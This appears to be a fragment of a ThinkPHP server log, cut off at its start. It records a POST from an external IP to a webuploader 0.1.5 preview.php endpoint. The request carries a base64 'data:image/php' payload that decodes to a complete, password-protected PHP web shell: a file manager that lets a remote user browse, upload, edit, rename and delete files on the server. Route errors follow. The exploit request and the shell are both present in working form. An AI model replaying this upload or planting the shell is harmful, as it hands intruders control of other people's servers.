IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:59+08:00 ] 119.42.146.234 POST 59.110.137.245/viagraedit/webuploader/0.1.5/server/preview.php [运行时间:0.002680s] [吞吐率:373.16req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xP